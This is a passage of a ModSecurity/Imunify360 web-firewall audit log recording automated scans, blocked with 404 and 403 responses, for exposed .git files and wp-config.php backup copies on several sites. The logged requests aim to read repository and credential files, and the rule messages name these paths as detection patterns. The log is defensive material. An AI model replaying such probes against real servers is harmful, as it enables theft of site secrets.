Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725136823 893182 (- - -)
Stopwatch2: 1789290725136823 893182; combined=33227, p1=235, p2=32922, p3=0, p4=0, p5=69, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ba8924-Z--
--f40d506d-A--
[13/Sep/2026:12:12:06.045797 +0300] aqZo5SsVWymXUono-eRU3QAAAA4 172.86.81.63 40384 127.0.0.1 7081
--f40d506d-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f40d506d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f40d506d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725139091 906753 (- - -)
Stopwatch2: 1789290725139091 906753; combined=35230, p1=181, p2=34969, p3=0, p4=0, p5=80, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f40d506d-Z--
--e31c5c5b-A--
[13/Sep/2026:12:12:06.052800 +0300] aqZo5WM7dE9KgIIOpQh0TQAAANI 172.86.81.63 40304 127.0.0.1 7081
--e31c5c5b-B--
GET /.git/refs/heads/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--e31c5c5b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e31c5c5b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/refs/heads/master"] [unique_id "aqZo5WM7dE9KgIIOpQh0TQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725115865 936996 (- - -)
Stopwatch2: 1789290725115865 936996; combined=4610, p1=405, p2=4144, p3=0, p4=0, p5=60, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e31c5c5b-Z--
--bff0225b-A--
[13/Sep/2026:12:12:06.068554 +0300] aqZo5SsVWymXUono-eRU3gAAAAc 172.86.81.63 40324 127.0.0.1 7081
--bff0225b-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--bff0225b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bff0225b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725139235 929417 (- - -)
Stopwatch2: 1789290725139235 929417; combined=70495, p1=150, p2=70274, p3=0, p4=0, p5=70, sr=67, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bff0225b-Z--
--f0ac8309-A--
[13/Sep/2026:12:12:06.069062 +0300] aqZo5WM7dE9KgIIOpQh0TgAAAME 172.86.81.63 40300 127.0.0.1 7081
--f0ac8309-B--
GET /.git/credentials-helper HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f0ac8309-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f0ac8309-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credentials-helper"] [unique_id "aqZo5WM7dE9KgIIOpQh0TgAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725123070 946036 (- - -)
Stopwatch2: 1789290725123070 946036; combined=4137, p1=267, p2=3833, p3=0, p4=0, p5=36, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0ac8309-Z--
--f0cfa452-A--
[13/Sep/2026:12:12:06.080717 +0300] aqZo5SsVWymXUono-eRU4QAAAAg 172.86.81.63 40368 127.0.0.1 7081
--f0cfa452-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f0cfa452-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f0cfa452-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqZo5SsVWymXUono-eRU4QAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725152377 928385 (- - -)
Stopwatch2: 1789290725152377 928385; combined=4654, p1=253, p2=4353, p3=0, p4=0, p5=47, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0cfa452-Z--
--9c7da228-A--
[13/Sep/2026:12:12:06.108286 +0300] aqZo5SsVWymXUono-eRU2gAAABU 172.86.81.63 40312 127.0.0.1 7081
--9c7da228-B--
GET /.git/description HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--9c7da228-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9c7da228-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/description"] [unique_id "aqZo5SsVWymXUono-eRU2gAAABU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725131539 976829 (- - -)
Stopwatch2: 1789290725131539 976829; combined=6020, p1=282, p2=5675, p3=0, p4=0, p5=63, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c7da228-Z--
--adf9af1b-A--
[13/Sep/2026:12:16:39.119435 +0300] aqZp92M7dE9KgIIOpQh0ZwAAAME 172.86.81.83 37062 127.0.0.1 7081
--adf9af1b-B--
GET /.git/config HTTP/1.1
Host: www.behappydigital.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--adf9af1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--adf9af1b-E--
--adf9af1b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Stopwatch: 1789290999083676 35800 (- - -)
Stopwatch2: 1789290999083676 35800; combined=34315, p1=278, p2=33930, p3=55, p4=7, p5=45, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--adf9af1b-Z--
--921c6f06-A--
[13/Sep/2026:12:23:38.963907 +0300] aqZrmmM7dE9KgIIOpQh0lQAAAMI 36.77.210.5 50282 127.0.0.1 7081
--921c6f06-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--921c6f06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--921c6f06-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZrmmM7dE9KgIIOpQh0lQAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZrmmM7dE9KgIIOpQh0lQAAAMI"]
Action: Intercepted (phase 2)
Stopwatch: 1789291418895316 68651 (- - -)
Stopwatch2: 1789291418895316 68651; combined=64290, p1=2082, p2=59799, p3=0, p4=0, p5=2408, sr=887, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--921c6f06-Z--
--5faffa7b-A--
[13/Sep/2026:12:23:40.094337 +0300] aqZrnDTJ6xTvcJoem7f6qgAAAFE 36.77.210.5 50296 127.0.0.1 7081
--5faffa7b-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--5faffa7b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5faffa7b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZrnDTJ6xTvcJoem7f6qgAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZrnDTJ6xTvcJoem7f6qgAAAFE"]
Action: Intercepted (phase 2)
Stopwatch: 1789291420036200 58187 (- - -)
Stopwatch2: 1789291420036200 58187; combined=56915, p1=258, p2=56306, p3=0, p4=0, p5=351, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5faffa7b-Z--
--d3a0b65f-A--
[13/Sep/2026:12:23:52.793287 +0300] aqZrqEwu1RSkptiiNIX4WQAAAIo 36.77.210.5 48066 127.0.0.1 7081
--d3a0b65f-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--d3a0b65f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d3a0b65f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZrqEwu1RSkptiiNIX4WQAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZrqEwu1RSkptiiNIX4WQAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291432734425 58925 (- - -)
Stopwatch2: 1789291432734425 58925; combined=57158, p1=344, p2=56462, p3=0, p4=0, p5=351, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d3a0b65f-Z--
--9d2d026a-A--
[13/Sep/2026:12:23:53.800961 +0300] aqZrqUwu1RSkptiiNIX4WgAAAIA 36.77.210.5 48068 127.0.0.1 7081
--9d2d026a-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--9d2d026a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9d2d026a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
